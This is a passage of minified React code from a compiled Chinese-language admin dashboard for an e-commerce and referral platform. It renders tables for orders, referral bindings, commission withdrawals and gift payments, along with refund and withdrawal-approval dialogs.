mt-1",children:"推广用户数"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-green-400",children:a.activeDistributors}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"有收益用户"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-[#38bdac]",children:"90%"}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"佣金比例"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-orange-400",children:"30天"}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"绑定有效期"})]})]})})]})]}),t==="orders"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:K=>k(K.target.value),placeholder:"搜索订单号、用户名、手机号...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:K=>E(K.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"failed",children:"已失败"}),s.jsx("option",{value:"refunded",children:"已退款"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[n.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无订单数据"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"订单号"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"商品"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"支付方式"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"退款原因"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"推荐人/邀请码"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"分销佣金"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"下单时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:Rn.map(K=>{var Ue,Je;return s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsxs("td",{className:"p-4 font-mono text-xs text-gray-400",children:[(Ue=K.id)==null?void 0:Ue.slice(0,12),"..."]}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white text-sm",children:K.userNickname}),s.jsx("p",{className:"text-gray-500 text-xs",children:K.userPhone})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white text-sm",children:(()=>{const xt=K.productType||K.type,ct=K.description||"",nt=String(K.productId||K.sectionId||""),gt=xt==="vip"||ct.includes("VIP")||ct.toLowerCase().includes("vip")||nt.toLowerCase().includes("vip");return xt==="balance_recharge"?`余额充值 ¥${typeof K.amount=="number"?K.amount.toFixed(2):parseFloat(String(K.amount||"0")).toFixed(2)}`:gt?"超级个体开通费用":xt==="fullbook"?`${K.bookName||"《底层逻辑》"} - 全本`:xt==="match"?"匹配次数购买":`${K.bookName||"《底层逻辑》"} - ${K.sectionTitle||K.chapterTitle||`章节${K.productId||K.sectionId||""}`}`})()}),s.jsx("p",{className:"text-gray-500 text-xs",children:(()=>{const xt=K.productType||K.type,ct=K.description||"",nt=String(K.productId||K.sectionId||""),gt=xt==="vip"||ct.includes("VIP")||ct.toLowerCase().includes("vip")||nt.toLowerCase().includes("vip");return xt==="balance_recharge"?"余额充值":gt?"超级个体":xt==="fullbook"?"全书解锁":xt==="match"?"功能权益":K.chapterTitle||"单章购买"})()})]})}),s.jsxs("td",{className:"p-4 text-[#38bdac] font-bold",children:["¥",typeof K.amount=="number"?K.amount.toFixed(2):parseFloat(String(K.amount||"0")).toFixed(2)]}),s.jsx("td",{className:"p-4 text-gray-300",children:K.paymentMethod==="wechat"?"微信支付":K.paymentMethod==="balance"?"余额支付":K.paymentMethod==="alipay"?"支付宝":K.paymentMethod||"微信支付"}),s.jsx("td",{className:"p-4",children:K.status==="refunded"?s.jsx(We,{className:"bg-gray-500/20 text-gray-400 border-0",children:"已退款"}):K.status==="completed"||K.status==="paid"?s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0",children:"已完成"}):K.status==="pending"||K.status==="created"?s.jsx(We,{className:"bg-yellow-500/20 text-yellow-400 border-0",children:"待支付"}):s.jsx(We,{className:"bg-red-500/20 text-red-400 border-0",children:"已失败"})}),s.jsx("td",{className:"p-4 text-gray-400 text-sm max-w-[120px]",title:K.refundReason,children:K.status==="refunded"&&K.refundReason?K.refundReason:"-"}),s.jsx("td",{className:"p-4 text-gray-300 text-sm",children:K.referrerId||K.referralCode?s.jsxs("span",{title:K.referralCode||K.referrerCode||K.referrerId||"",children:[K.referrerNickname||K.referralCode||K.referrerCode||((Je=K.referrerId)==null?void 0:Je.slice(0,8)),(K.referralCode||K.referrerCode)&&` (${K.referralCode||K.referrerCode})`]}):"-"}),s.jsx("td",{className:"p-4 text-[#FFD700]",children:K.referrerEarnings?`¥${(typeof K.referrerEarnings=="number"?K.referrerEarnings:parseFloat(String(K.referrerEarnings))).toFixed(2)}`:"-"}),s.jsx("td",{className:"p-4 text-gray-400 text-sm",children:K.createdAt?new Date(K.createdAt).toLocaleString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:(K.status==="paid"||K.status==="completed")&&s.jsxs(te,{variant:"outline",size:"sm",className:"border-orange-500/50 text-orange-400 hover:bg-orange-500/20",onClick:()=>{fe(K),$("")},children:[s.jsx(rj,{className:"w-3 h-3 mr-1"}),"退款"]})})]},K.id)})})]})}),t==="orders"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:K=>{L(K),I(1)}})]})})]}),t==="bindings"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:K=>k(K.target.value),placeholder:"搜索用户昵称、手机号、推广码...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:K=>E(K.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"active",children:"有效"}),s.jsx("option",{value:"converted",children:"已转化"}),s.jsx("option",{value:"expired",children:"已过期"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[pr.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无绑定数据"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"访客"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"分销商"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"绑定时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"到期时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"佣金"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:pr.map(K=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-medium",children:K.refereeNickname||"匿名用户"}),s.jsx("p",{className:"text-gray-500 text-xs",children:K.refereePhone})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white",children:K.referrerName||"-"}),s.jsx("p",{className:"text-gray-500 text-xs font-mono",children:K.referrerCode})]})}),s.jsx("td",{className:"p-4 text-gray-400",children:K.boundAt?new Date(K.boundAt).toLocaleDateString("zh-CN"):"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:K.expiresAt?new Date(K.expiresAt).toLocaleDateString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:Yt(K.status)}),s.jsx("td",{className:"p-4",children:K.commission?s.jsxs("span",{className:"text-[#38bdac] font-medium",children:["¥",K.commission.toFixed(2)]}):s.jsx("span",{className:"text-gray-500",children:"-"})})]},K.id))})]})}),t==="bindings"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:K=>{L(K),I(1)}})]})})]}),t==="withdrawals"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:K=>k(K.target.value),placeholder:"搜索用户名称、账号...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:K=>E(K.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"pending",children:"待审核"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"rejected",children:"已拒绝"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[Pn.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无提现记录"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"申请人"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"收款方式"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"收款账号"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"申请时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-right font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:Pn.map(K=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4",children:s.jsxs("div",{className:"flex items-center gap-2",children:[K.userAvatar?s.jsx("img",{src:K.userAvatar,alt:"",className:"w-8 h-8 rounded-full object-cover"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-gray-600 flex items-center justify-center text-white text-sm font-medium",children:(K.userName||K.name||"?").slice(0,1)}),s.jsx("p",{className:"text-white font-medium",children:K.userName||K.name})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("span",{className:"text-[#38bdac] font-bold",children:["¥",K.amount.toFixed(2)]})}),s.jsx("td",{className:"p-4",children:s.jsx(We,{className:K.method==="wechat"?"bg-green-500/20 text-green-400 border-0":"bg-blue-500/20 text-blue-400 border-0",children:K.method==="wechat"?"微信":"支付宝"})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-mono text-xs",children:K.account}),s.jsx("p",{className:"text-gray-500 text-xs",children:K.name})]})}),s.jsx("td",{className:"p-4 text-gray-400",children:K.createdAt?new Date(K.createdAt).toLocaleString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:Yt(K.status)}),s.jsx("td",{className:"p-4 text-right",children:K.status==="pending"&&s.jsxs("div",{className:"flex gap-2 justify-end",children:[s.jsxs(te,{size:"sm",onClick:()=>ln(K.id),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx($v,{className:"w-4 h-4 mr-1"}),"通过"]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>yt(K.id),className:"border-red-500/50 text-red-400 hover:bg-red-500/20",children:[s.jsx(Jw,{className:"w-4 h-4 mr-1"}),"拒绝"]})]})})]},K.id))})]})}),t==="withdrawals"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:K=>{L(K),I(1)}})]})})]}),t==="giftPay"&&s.jsx("div",{className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs("div",{className:"flex flex-wrap items-center justify-between gap-4",children:[s.jsx(Qe,{className:"text-white",children:"代付请求列表"}),s.jsxs("div",{className:"flex gap-2 items-center",children:[s.jsxs("select",{className:"bg-[#0a1628] border border-gray-700 text-white rounded px-3 py-1.5 text-sm",value:ye,onChange:K=>{Re(K.target.value),re(1)},children:[s.jsx("option",{value:"",children:"全部状态"}),s.jsx("option",{value:"pending",children:"待支付(旧)"}),s.jsx("option",{value:"pending_pay",children:"待发起人支付"}),s.jsx("option",{value:"paid",children:"已支付"}),s.jsx("option",{value:"refunded",children:"已退款"}),s.jsx("option",{value:"cancelled",children:"已取消"}),s.jsx("option",{value:"expired",children:"已过期"})]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>lt("giftPay",!0),className:"border-gray-600 text-gray-300",children:[s.jsx(qe,{className:"w-4 h-4 mr-1"}),"刷新"]})]})]})}),s.jsxs(Ee,{children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"请求号"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"发起人"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"商品/金额"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"份数/已领"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"付款人"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"创建时间"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:J.map(K=>s.jsxs("tr",{className:"hover:bg-[#0a1628]",children:[s.jsx("td",{className:"p-4 font-mono text-xs text-gray-400",children:K.requestSn}),s.jsx("td",{className:"p-4",children:s.jsx("p",{className:"text-white text-sm",children:K.initiatorNick||K.initiatorUserId})}),s.jsxs("td",{className:"p-4",children:[s.jsxs("p",{className:"text-white",children:[K.productType," · ¥",K.amount.toFixed(2)]}),K.description&&s.jsx("p",{className:"text-gray-500 text-xs",children:K.description})]}),s.jsx("td",{className:"p-4 text-gray-400",children:(K.quantity??1)>1?`${K.quantity}份 / 已领${K.redeemedCount??0}`:"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:K.payerNick||(K.payerUserId?K.payerUserId:"-")}),s.jsx("td",{className:"p-4",children:s.jsx(We,{className:K.status==="paid"?"bg-green-500/20 text-green-400 border-0":K.status==="pending"||K.status==="pending_pay"?"bg-amber-500/20 text-amber-400 border-0":K.status==="refunded"?"bg-red-500/20 text-red-400 border-0":"bg-gray-500/20 text-gray-400 border-0",children:K.status==="paid"?"已支付":K.status==="pending"||K.status==="pending_pay"?"待支付":K.status==="refunded"?"已退款":K.status==="cancelled"?"已取消":"已过期"})}),s.jsx("td",{className:"p-4 text-gray-400 text-sm",children:K.createdAt?new Date(K.createdAt).toLocaleString("zh-CN"):"-"})]},K.id))})]})}),J.length===0&&!g&&s.jsx("p",{className:"text-center py-8 text-gray-500",children:"暂无代付请求"}),ue>20&&s.jsx("div",{className:"mt-4 flex justify-center",children:s.jsx(is,{page:V,totalPages:Math.ceil(ue/20),total:ue,pageSize:20,onPageChange:re,onPageSizeChange:()=>{}})})]})]})})]}),s.jsx(Dt,{open:!!ne,onOpenChange:K=>!K&&fe(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"订单退款"})}),ne&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["订单号:",ne.orderSn||ne.id]}),s.jsxs("p",{className:"text-gray-400 text-sm",children:["退款金额:¥",typeof ne.amount=="number"?ne.amount.toFixed(2):parseFloat(String(ne.amount||"0")).toFixed(2)]}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"退款原因(选填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"如:用户申请退款",value:xe,onChange:K=>$(K.target.value)})})]}),s.jsx("p",{className:"text-orange-400/80 text-xs",children:"退款将原路退回至用户微信,且无法撤销,请确认后再操作。"})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:()=>fe(null),disabled:H,children:"取消"}),s.jsx(te,{className:"bg-orange-500 hover:bg-orange-600 text-white",onClick:Mt,disabled:H,children:H?"退款中...":"确认退款"})]})]})}),s.jsx(Dt,{open:!!P,onOpenChange:K=>!K&&In(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"拒绝提现"})}),s.jsxs("div",{className:"space-y-4",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"拒绝后该笔提现金额将返还用户余额。"}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"拒绝原因(必填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"请输入拒绝原因",value:B,onChange:K=>_(K.target.value)})})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:In,disabled:W,children:"取消"}),s.jsx(te,{className:"bg-red-600 hover:bg-red-700 text-white",onClick:nn,disabled:W||!B.trim(),children:W?"提交中...":"确认拒绝"})]})]})}),t==="settings"&&s.jsx("div",{className:"-mx-8 -mt-6",children:s.jsx(zk,{embedded:!0})})]})}function _P(){const[t,e]=b.useState([]),[n,r]=b.useState({total:0,pendingCount:0,pendingAmount:0,successCount:0,successAmount:0,failedCount:0}),[a,i]=b.useState(!0),[o,c]=b.useState(null),[u,h]=b.useState("all"),[f,m]=b.useState(1),[g,y]=b.useState(10),[N,w]=b.useState(0),[v,k]=b.useState(null),[C,E]=b.useState(null),[T,I]=b.useState(""),[O,L]=b.useState(!1);async function R(){var $,H,oe,P,q,B,_;i(!0),c(null);try{const W=new URLSearchParams({status:u,page:String(f),pageSize:String(g)}),le=await De(`/api/admin/withdrawals?${W}`);if(le!=null&&le.success){const J=le.withdrawals||[];e(J),w(le.total??(($=le.stats)==null?void 0:$.total)??J.length),r({total:((H=le.stats)==null?void 0:H.total)??le.total??J.length,pendingCount:((oe=le.stats)==null?void 0:oe.pendingCount)??0,pendingAmount:((P=le.stats)==null?void 0:P.pendingAmount)??0,successCount:((q=le.stats)==null?void 0:q.successCount)??0,successAmount:((B=le.stats)==null?void 0:B.successAmount)??0,failedCount:((_=le.stats)==null?void 0:_.failedCount)??0})}else c("加载提现记录失败")}catch(W){console.error("Load withdrawals error:",W),c("加载失败,请检查网络后重试")}finally{i(!1)}}b.useEffect(()=>{m(1)},[u]),b.useEffect(()=>{R()},[u,f,g]);const D=Math.ceil(N/g)||1;async function z($){const H=t.find(oe=>oe.id===$);if(H!=null&&H.userCommissionInfo&&H.userCommissionInfo.availableAfterThis<0){if(!confirm(`⚠️ 风险警告:该用户审核后余额为负数(¥${H.userCommissionInfo.availableAfterThis.toFixed(2)}),可能存在超额提现。 -确认已核实用户账户并完成打款?`))return}else if(!confirm("确认已完成打款?批准后将更新用户提现记录。"))return;k($);try{const oe=await zt("/api/admin/withdrawals",{id:$,action:"approve"});oe!=null&&oe.success?R():ie.error("操作失败: "+((oe==null?void 0:oe.error)??""))}catch{ie.error("操作失败")}finally{k(null)}}function Z($){E($),I("")}async function ne(){const $=C;if(!$)return;const H=T.trim();if(!H){ie.error("请填写拒绝原因");return}L(!0);try{const oe=await zt("/api/admin/withdrawals",{id:$,action:"reject",errorMessage:H});oe!=null&&oe.success?(ie.success("已拒绝该提现申请"),E(null),I(""),R()):ie.error("操作失败: "+((oe==null?void 0:oe.error)??""))}catch{ie.error("操作失败")}finally{L(!1)}}function fe(){C&&ie.info("已取消操作"),E(null),I("")}function xe($){switch($){case"pending":return s.jsx(qe,{className:"bg-orange-500/20 text-orange-400 hover:bg-orange-500/20 border-0",children:"待处理"});case"pending_confirm":return s.jsx(qe,{className:"bg-orange-500/20 text-orange-400 hover:bg-orange-500/20 border-0",children:"待用户确认"});case"processing":return s.jsx(qe,{className:"bg-blue-500/20 text-blue-400 hover:bg-blue-500/20 border-0",children:"已审批等待打款"});case"success":case"completed":return s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"已完成"});case"failed":case"rejected":return s.jsx(qe,{className:"bg-red-500/20 text-red-400 hover:bg-red-500/20 border-0",children:"已拒绝"});default:return s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 border-0",children:$})}}return s.jsxs("div",{className:"p-8 w-full",children:[o&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:o}),s.jsx("button",{type:"button",onClick:()=>c(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-start mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"分账提现管理"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"管理用户分销收益的提现申请"})]}),s.jsxs(te,{variant:"outline",onClick:R,disabled:a,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${a?"animate-spin":""}`}),"刷新"]})]}),s.jsx(Ce,{className:"bg-gradient-to-r from-[#38bdac]/10 to-[#0f2137] border-[#38bdac]/30 mb-6",children:s.jsx(Ee,{className:"p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(dh,{className:"w-5 h-5 text-[#38bdac] mt-0.5"}),s.jsxs("div",{children:[s.jsx("h3",{className:"text-white font-medium mb-2",children:"自动分账规则"}),s.jsxs("div",{className:"text-sm text-gray-400 space-y-1",children:[s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"分销比例"}),":推广者获得订单金额的"," ",s.jsx("span",{className:"text-white font-medium",children:"90%"})]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"结算方式"}),":用户付款后,分销收益自动计入推广者账户"]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"提现方式"}),":用户在小程序端点击提现,系统自动转账到微信零钱"]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"审批流程"}),":待处理的提现需管理员手动确认打款后批准"]})]})]})]})})}),s.jsxs("div",{className:"grid grid-cols-4 gap-4 mb-6",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-[#38bdac]",children:n.total}),s.jsx("div",{className:"text-sm text-gray-400",children:"总申请"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-orange-400",children:n.pendingCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"待处理"}),s.jsxs("div",{className:"text-xs text-orange-400 mt-1",children:["¥",n.pendingAmount.toFixed(2)]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-green-400",children:n.successCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"已完成"}),s.jsxs("div",{className:"text-xs text-green-400 mt-1",children:["¥",n.successAmount.toFixed(2)]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-red-400",children:n.failedCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"已拒绝"})]})})]}),s.jsx("div",{className:"flex gap-2 mb-4",children:["all","pending","success","failed"].map($=>s.jsx(te,{variant:u===$?"default":"outline",size:"sm",onClick:()=>h($),className:u===$?"bg-[#38bdac] hover:bg-[#2da396] text-white":"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:$==="all"?"全部":$==="pending"?"待处理":$==="success"?"已完成":"已拒绝"},$))}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:a?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):t.length===0?s.jsxs("div",{className:"text-center py-12",children:[s.jsx(jl,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无提现记录"})]}):s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"申请时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"提现金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户佣金信息"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"处理时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"确认收款"}),s.jsx("th",{className:"p-4 text-right font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:t.map($=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4 text-gray-400",children:new Date($.createdAt??"").toLocaleString()}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{className:"flex items-center gap-2",children:[$.userAvatar?s.jsx("img",{src:$.userAvatar,alt:$.userName??"",className:"w-8 h-8 rounded-full object-cover"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm text-[#38bdac]",children:($.userName??"?").charAt(0)}),s.jsxs("div",{children:[s.jsx("p",{className:"font-medium text-white",children:$.userName??"未知"}),s.jsx("p",{className:"text-xs text-gray-500",children:$.userPhone??$.referralCode??($.userId??"").slice(0,10)})]})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("span",{className:"font-bold text-orange-400",children:["¥",Number($.amount).toFixed(2)]})}),s.jsx("td",{className:"p-4",children:$.userCommissionInfo?s.jsxs("div",{className:"text-xs space-y-1",children:[s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"累计佣金:"}),s.jsxs("span",{className:"text-[#38bdac] font-medium",children:["¥",$.userCommissionInfo.totalCommission.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"已提现:"}),s.jsxs("span",{className:"text-gray-400",children:["¥",$.userCommissionInfo.withdrawnEarnings.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"待审核:"}),s.jsxs("span",{className:"text-orange-400",children:["¥",$.userCommissionInfo.pendingWithdrawals.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4 pt-1 border-t border-gray-700/30",children:[s.jsx("span",{className:"text-gray-500",children:"审核后余额:"}),s.jsxs("span",{className:$.userCommissionInfo.availableAfterThis>=0?"text-green-400 font-medium":"text-red-400 font-medium",children:["¥",$.userCommissionInfo.availableAfterThis.toFixed(2)]})]})]}):s.jsx("span",{className:"text-gray-500 text-xs",children:"暂无数据"})}),s.jsxs("td",{className:"p-4",children:[xe($.status),$.errorMessage&&s.jsx("p",{className:"text-xs text-red-400 mt-1",children:$.errorMessage})]}),s.jsx("td",{className:"p-4 text-gray-400",children:$.processedAt?new Date($.processedAt).toLocaleString():"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:$.userConfirmedAt?s.jsxs("span",{className:"text-green-400",title:$.userConfirmedAt,children:["已确认 ",new Date($.userConfirmedAt).toLocaleString()]}):"-"}),s.jsxs("td",{className:"p-4 text-right",children:[($.status==="pending"||$.status==="pending_confirm")&&s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsxs(te,{size:"sm",onClick:()=>_($.id),disabled:v===$.id,className:"bg-green-600 hover:bg-green-700 text-white",children:[s.jsx(ff,{className:"w-4 